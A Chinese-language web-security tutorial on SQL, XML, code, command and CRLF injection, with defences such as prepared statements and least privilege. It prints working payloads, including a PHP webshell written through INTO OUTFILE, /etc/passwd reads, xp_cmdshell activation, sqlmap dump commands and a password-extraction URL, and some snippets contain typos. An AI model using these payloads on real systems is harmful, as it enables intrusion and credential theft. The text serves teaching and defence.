一.1 SQL注入
1、注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件:
(1)用户能够控制输入;
(2)原本程序要执行的代码,拼接了用户输入的数据。
大家都耳熟能详了,我举一个例子,
var ship;
ships=Request.form("ship");
var sql= "select * from Orders where ships= ' "+ships+ " ' ";
假如用户输入一段有语义的SQL语句,比如:
Beijng';drop table Orders --
那么在执行时就会拼接成:
"select * from Orders where ships= ' Beijng';drop table Orders ' --
我们看到,原本正常执行的查询语句,现在变成了查询完后,再执行一个drop表的操作,而这个操作,是用户构造了恶意数据的结果。
在SQL注入的过程中,如果网站的WEB的服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号 “ ' ”,引起执行查询语句的语法错误,
服务器直接返回了错误信息:
Microsoft JET Database Engine 错误 ‘80040e14’
字符串的语法错误 在查询表达式 ‘ID=49 ’ ’ 中。
/showdetail.asp ,行8
从错误信息中可以知道,服务器用的是access数据库,查询语句的伪代码有可能是:
select XX from table_x where id=$id
错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手。
一.2 盲注
1、盲注的概念
所谓的 “盲注”,就是在服务器没有错误回显时完成的注入攻击。
最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。
当攻击者构造条件 “ and 1=1”时,如果页面正常返回,再构造 “and 1=2” 如果页面结果将为空或者是一个出错页面,就可以判断 “ id ”参数存在SQL注入漏洞。(页面返回不一致就说明存在漏洞)
在这个攻击过程中,服务器虽然关闭了错误回显,但是攻击者通过简单的条件判断,再对比页面返回结果的差异,就可以判断出SQL注入漏洞是否存在。。。
2、盲注的一个技巧:Timing Attack
在MYSQL中,有一个BENCHMARK(count,expr)函数,它是用于测试函数性能的,有俩个参数,函数执行的结果是,将表达式expr执行count次。
比如:
select benchmark(10000,encode('hello','goodby'));
就将encode('hello','goodby')执行了10000次,共用时4.74秒。
因此,利用BENCHMARK(count,expr)函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个攻击在盲注中被称为Timing Attack。
实例:
1170 union select if (substring(current,1,1) =char(119),benchmark(5000,encode('MSG','BY 5 secode')),null) from (select Database as current) as tb1;
这个payload判断库名的第一个字母是否为char(119),即为小写的w。如果为真,则会通过BENCHMARK(count,expr)函数造成较长的时延,如果不为真,则该语句将很快执行完。
如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中,攻击者就有可能下载这些文件:
1170 union all select table_name,table_type from information_schema.tables where table_schema='mysql' order by table_name desc into outfile '/path/location/server/www/schema.txt '
类似的,通过Dump文件的方法,还可以写入一个webshell:
1170 union select "<? system($_request['cmd']); ?>",2,3,4 into outfile "/var/www/html/temp/c.php" --
二、数据库攻击技巧
SQL注入是基于数据库的一种攻击。不同的数据库有着不同的功能、不同的语法和函数,因此针对不同的数据库,SQL注入的攻击技巧也有所不同。
2.1 常见的攻击技巧
SQL注入可以猜解出数据库的对应版本,比如下面这个payload ,如果Mysql 的版本是4,则会返回TRUE:
?id=5 and substring( @@version,1,1) = 4
下面这个Payload,则是利用union select 来分别确定表名admin是否存在,列名passwd是否存在:
union all select 1,2,3 from admin;
union all select 1,2,passwd from admin;
等等等。。。。
这个过程非常的繁琐,所以非常必要使用一个自动化的工具来帮助完成整个过程。神器---------SQLMAP
下面我就列举一下该神器的常见用法:
(1)get型
sqlmap -u "IP" --is-dba 查看权限
sqlmap -u "IP" --dbs 所有数据库名
sqlmap -u "IP" --current-db 当前数据库名
sqlmap -u "IP" --Table -D "数据库名" 查看想要查看数据库中都有哪些表
sqlmap -u "IP" --column -T "表名" -D "数据库名" 查看有哪些字段
sqlmap -u "IP" --dump -C "username,password" -T "表名" -D "数据库名" 查看具体字段下的值
sqlmap -u "IP" --dump-all 全部下载
(2)post型
sqlmap -r "IP" --dbs 等,同上面差不多
sqlmap -r "IP" -forms 找到注入点 jjj=123
sqlmap -r "IP" -forms -p jjj -dbs 等
(3)cookie注入
sqlmap -u "IP" --cookie "id=56" --level 2
sqlmap -u "IP" --tables --cookie "id=56" --level 2
在sqlmap中出现黄色则说明 “失败”,转为cookie注入。
2.2 命令执行
在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MYsql中,就可以通过 load_file() 读取系统文件,并通过 into dumpfile 写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。
union select 1,1,load_file("/etc/passwd"),1,1;
如果要将文件读出后,再返回结果给攻击者,则可以使用下面的这个技巧:
(1) create table potoao(line blbo);
(2) union select 1,1,hex(load_file('/etc/passwd')),1,1 into dumpfile '/tmp/potoao';
(3) load data infile '/tmp/potoaos' into table potoao;
这需要当前数据库用户有创建表的权限。首先通过load_file()将系统文件读出,再通过 into dumpfile 将该文件写入系统中,然后通过load data file 将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作表数据了。
除了可以使用 into dumpfile外,还可以使用 into outfile,两者的区别是dumpfile 适用于二进制文件,它会将目标文件写入同一行内;而 outfile 则更适用于文本文件。
写入文件的技巧,经常被用于导出一个webshell,为攻击者的进一步攻击做铺垫。因此在设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限。
2.3 命令执行
在MYSQL中,除了可以通过导出webshell间接地执行命令外,还可以利用 “用户自定义函数” 的技巧,即“UDF”来执行命令。
为找到适应mysql5及之后版本,安全研究者们找到了另外的方法——通过 lib_mysqludf_sys 提供的几个函数执行系统命令,其中最主要的函数是sys_eval() 和sys_exec()。在攻击过程中,将lib_mysqludf_sys.so上传到数据库能访问到的路径下。在创建UDF之后,就可以使用sys_eval()等函数执行命令了。
命令执行,在自动化注入工具sqlmap中已经集成了此功能。
例如:
sqlmap.py -u "http://www.123.com/asal/get.php?id" --os-cmd id -v 1
UDF不仅仅是MYSQL的特性,其他数据库也有着类似的功能。在sqlserver中,则可以使用存储过程 “xp_cmdshell”执行系统命令。在oracle数据库中,如果服务器同时还有java环境,那么也可能造成命令执行。在sql注入后可以执行多语句的情况下,可以在oralce中创建java的存储过程执行系统命令。
一般来说,在数据库中执行系统命令,要求具有较高的权限。在数据库加固时,可以参阅官方文档。在建立数据库账户时,应该遵守 “最小权限原则” ,尽量避免web应用使用数据库的管理员权限。
2.4 攻击存储过程
存储过程必须使用 call 或者 execute 来执行。在sqlserver和oracle数据库中都有大量内置的存储过程。在注入攻击的过程中,存储过程将为攻击者提供很大的便利。
在sqlserver 中,存储过程 "xp_cmdshell" 可谓是臭名昭著,注入sqlserver时都是使用它执行系统命令。
exec master.dbo.xp_cmdshell 'cmd.exe dir c:'
exec master.dbo.xp_cmdshell 'ping '
xp_cmdshell 在sqlserver 2000 中默认是开启的,如果禁止了,可以使用xp_addextendedproc开启它,但是在sqlserver 2005 及以后版本中则默认禁止了,但是如果当前的数据库用户拥有sysadmin权限,则可以使用sp_configure重新开启它;
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'xp_cmdshell ',1
reconfigure
除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的,比如xp_regread 可以操作注册表:
exec xp_regread HKEY_MACHINE
'SYSTEM\CurrentControlSet\Services\lanserver\parameters', 'nullsessionshares'
等等,还有很多存储过程都非常有用。
除了利用存储过程直接攻击外,存储过程本身也可能会存在注入攻击。
2.5编码问题 ---宽字节注入
注入攻击中常常会用到单引号,双引号等特殊字符。在应用中开发者为了安全经常会使用转义字符 “\”来转义这些特殊字符。单数当数据库使用了 “宽字符集”时,可能会产生一些意想不到的漏洞。比如当MYSQL使用了GBK编码时,oxbf27 和oxbf5c都会被认为是一个字符(双字节字符)。因此,假如攻击者输入: oxbf27 or 1=1
经过转义后,会变成 oxbf5c 27,转移符被吃掉,从而攻击成功。
要解决这种问题,需要统一数据库、操作系统、web应用所使用的字符集 ,以避免各层对字符的理解存在差异。基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决办法就是在HTML页面的<mets> 标签中指定当前页面的charset。
如果因为种种原因无法统一字符编码,则需要单独实现一个用于过滤或转移的安全函数,在其中需要考虑到字符的可能范围。
根据系统所使用的不同字符集来限制用户输入数据的字符允许范围,以实现安全过滤。
2.6 SQL COLUMN TRUNCATION (截断攻击)
在mysql的配置选项中,有一个sql_mode选项。当mysql的sql_mode设置为default时,即没有开启 STRICT_ALL_TABLES选项时,mysql对于用户插入的超长值只会提示waring,而不是error (如果是error则插入不成功),这可能会导致发生一些 “截断” 问题。
开启strict模式:
sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
关闭strict模式:
sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
三、正确地防御SQL注入
从防御的角度来看,要做的事情有两件:
(1)找到所有的SQL注入漏洞
(2)修补这些漏洞
sql注入的防御并不是一件简单的事情,开发者常常会走入一些误区。比如只对用户输入做一些escape处理,这是不够的。参考如下案例:
$sql="select id,name,mail from register where id=".mysql_real_escape_string($_GET['id']);
当攻击者构造的注入代码如下:
http://www.123.com/user.php?id=2,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6 from,mysql.user,where,user=substring_index(current_user(),char(64),1)
将绕过mysql_real_escape_string的作用注入成功。
因为mysql_real_escape_string仅仅会转义:’、”、\r 、\n、NULL 、Control-Z 。这几个字符,在本例中sql注入所使用的payload完全没有用到这几个字符。
那么到底如何正确的防御呢?
1、使用预编译语句
使用预编译的sql语句,sql语句的语义不会发生改变。在sql语句中,变量用?表示,攻击者无法改变sql的结构。
$query="insert into mycity (name,countrycode,district) values (?,?,?)";
$stmt=$mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='gart'
$val2='DEU'
$val3='BADEN'
$stmt->execute();
2、使用存储过程
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的sql语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。
但是有时候,可能无法使用预编译语句或存储过程,该怎么办?这时候只能再次回到输入过滤和编码等方法上来。
3、检查数据类型
检查输入数据的数据类型,在很大程度上可以对抗SQL注入。
比如下面这段代码,就限制了输入数据的类型只能为 integer ,在这种情况下,也是无法注入成功的。
<?php
settype($offset,'integer');
$query="select id,name from products order by name limit 20 offset $offset;";
$query=sprintf("select id,name from products order by name limit 20 offset %d;",$offset);
?>
其他的数据格式或类型检查也是有益的。比如用户在输入邮箱时,必须严格按照邮箱的格式。但是数据类型检查并非万能的,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方范sql注入。
4、使用安全函数
一般来说,各种web语言都实现了一些编码函数,可以帮助对抗sql注入。但是前文举了一些编码函数被绕过的例子,因此我们需要一个足够安全的编码函数。
安全专家编写的函数:
ESAPI.encoder().encodeForSQL(new OracleCode(),queryparam);
在使用时:
Code ORACLE_CODEC = new OracleCode();
String query="select user_id from user_data where user_name=' "+ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("userID"))+
" ' and user_password=' " + ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("pwd")) +" ' " ;
在最后,从数据库自身的角度来说,应该使用最小权限原则,避免WEB应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。
四、其他注入攻击
4.1 XML注入
XML是一种常用的标记语言,通过标签对数据进行结构化表示。XML与HTML都是SGML(标准通用标记语言)。
final string guestrole="guest_role";
.......
//userdata是准备保存的XML数据,接收了name和email两个用户提交来的数据
string userdata = "<user role=" + guestrole + "><name>"+
request.getParameter("name") +
"</name><email>"
+ request.getParameter("email") + "</email></user>";
但是如果用户构造了恶意输入数据,就有可能形成注入攻击。比如用户输入的数据如下:
user1@a.com</email></user><user role="admin_role"><name>test</name><email>user2@a.com
最终生成的XML文件里被插入一条数据:
<?xml version="1.0" encoding="utf-8" ?>
<user role ="guest_role">
<name>user1
</name>
<email> user1@a.com </email>
</user>
<user role="admin_role">
<name>test</name>
<email>user2@a.com</email>
</user>
由此可见xml注入,也需要满足注入攻击的两大条件:用户能控制数据的输入;程序拼凑了数据。
修补方案是,对用户输入数据中包含的 “语言本身的保留字符”进行转义:
static
{
entityToCharacterMap = new HashTrie<Character>();
entityToCharacterMap.put("lt",'<');
entityToCharacterMap.put("gt",'>');
........
}
4.2代码注入
代码注入比较特别一点。代码注入与命令注入往往都是有一些不安全的函数或者方法引起的,其中的典型代表就是eval();如下例:
$myval="varname";
$x=$_GET['arg'];
eavl("\$myval = $x;");
攻击者可以通过如下payload实施代码注入:
/index.php?arg=1;phpinfo()
存在代码注入漏洞的地方,与“ 后门 ”没有区别。
此外,Jsp的动态include也能导致代码注入。严格来说,PHP、JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码执行。
代码注入多见于脚本语言,有时候代码注入可以造成命令注入。比如:
<?php
$varerror=system( 'cat' .$_GET['pageid'], $valoretorno);
echo $varerror;
?>
这就是一个典型的命令注入,攻击者可以使用system()函数执行他想要的系统命令。
vulnerable.php?pageid-loquesea ; ls
在对抗代码注入、命令注入时,需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在php/jsp重比米娜动态include远程文件,或者安全地处理它。
4.3 CRLF注入
CRLF实际上是两个字符:CR是Carriage Return (ASCII 13, \r ), LF是 line Feed (ASCII 10,\n)。\r\n 这两个字符是用于表示换行的,其十六进制编码分别为 ox0d、 ox0a 。
CRLF常被用做不同语义之间的分隔符。因此通过 “注入CRLF字符”,就有可能改变原有的语义。
比如,在日志文件中,通过CRLF有可能构造出一条新的日志。下面这段代码,将登陆失败的用户写入日志文件中。
def log_failed_login(username)
log = open("access.log",'a')
log.wirte("user login failed for :%s \n " % username)
log.colse()
正常情况下,会记录下如下日志:
user login failed for :guest
user login failes for: admin
由于没有处理换行符 “\r\n” ,因此当攻击者输入如下数据时,就可能插入一条额外的日志记录。
guest \n user login succeeded for:admin
由于换行符 “\n”的存在,会变成:
user login failed for :guest
user login succeeded for: admin (第二条记录是伪造的)
CRLF注入并非仅能用于log注入,凡是使用CRLF作为分割符的地方都可能存在这种注入,比如 “注入HTTP头” ,它可以破坏HTTP协议的完整性。
对抗CRLF的方法很简单,只需要处理好 “\r” 、“\n” 这两个保留字符即可,尤其是那些使用 “换行符”作为分隔符的应用。
五、总结
在对抗注入攻击时,只需要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。